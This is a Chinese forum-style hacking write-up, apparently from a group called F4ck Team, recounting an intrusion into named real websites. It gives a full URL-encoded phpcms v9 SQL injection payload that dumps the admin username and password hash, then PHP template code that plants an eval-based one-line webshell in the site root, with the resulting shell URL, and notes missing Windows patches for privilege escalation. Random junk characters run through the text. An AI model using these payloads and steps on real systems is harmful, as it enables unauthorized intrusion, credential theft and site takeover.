期末快到了,各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思,叫做黑客攻防,期末作业就是黑站,我笑了。。前几天在服务器上嗅探把服务器搞死了,管理员漏洞也补了,写这篇文章单凭记忆,图片较少,还请见谅。 Author:夜行人 From:F4ck Team ! j4 u5 t- v6 O9 ^" U
目标站:http://www.ipucom.com/ 旁注到一个站点:www.zhongyitong.com有phpcmsv9注射漏洞 百度一下找到该漏洞的利用方法。 直接在该网站注册用户名,然后在该网站域名后加上这段代码就能爆出数据库名 api.php?op=add_favorite&url=xx.oo&title=%25270 H) y% u7 H1 J2 X
8 n& l' p) k3 L s& H" ^- S. R4 l. Q
( u7 C! F. T" w
8 C2 S# J" B/ |% q* H" \1 K0 a9 S/ C4 e. f8 Q
0 ~2 ]; ?$ @7 K1 U+ p5 _
& v& N# o z0 |8 u7 `
, L, F" B! E& e7 x
4 L. Z9 q: z7 r$ y* `+ G3 e* Y* W7 ]# R: k0 \& t
/ r5 B$ |. K( n
. g& F1 s* [. J0 A9 [
这里可以清楚的看到数据库名和表名,然后把该表名替换一下代码中的表名 api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from% 2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select %2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from %2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables %2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from %2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and %2520%25271%2527%253D%25271 s* V# d* n$ R/ }& v& n; a
2 s# b; d6 G7 o6 f3 e9 Z
9 i- @" @5 Z* g4 x/ A, A
% n: ~, w, {$ Q5 ^$ k% F
/ E# [0 t. x& x+ D) U 帐号密码就出来了,md5解密一下就行了 进入后台, 界面 > 模板管理 > 模板风格 >7 S2 e8 W2 q5 N7 @
# T1 I( o$ h$ m9 [" ^4 [8 {
8 G' U/ w2 N3 q* E0 c* C3 ]
% n- p* n+ M. r& m4 t9 W9 f
7 k3 o7 Y6 n# n# E' G4 D8 z: @# B3 t
! \3 ?/ e, p+ P. X; y7 L/ z6 c+ @6 {; l/ V( g1 z
* O) D' e! l. _; \3 ?1 C7 a1 E3 U- z 点击后面的修改,然后把一下代码复制上去保存 <? $fp = @fopen("c.php", 'a'); @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n"); @fclose($fp); ?># y. H7 n0 _- f+ ]4 x }$ J. m- G3 Y
" V; }1 g/ B4 g3 x0 d
# O. C2 ]/ Q# q# J6 n; E
8 r# X _* i( }1 @2 m: g$ K, T
, ~! h; O2 J9 j, h 8 W8 c3 i( A& l0 X
6 h- F O( e" b( @' @. E1 ]4 e" l# C; y4 E5 `; q
c5 j; y+ Z8 C; L
) y, D% p9 J5 q7 ]
5 v$ `9 d: e. l' \5 k5 d 提交后可视化一下
$ O4 z. b* _0 X& U) w8 j8 [, o2 x( n
在网站的根目录就生成了你的一句话木马客户端 http://www.zhongyitong.com/f4ck.php 然后通过控制端连上去就行了。。。 提权貌似很简单,看了下systeminfo 发现没有 KB2503665 KB2592799 |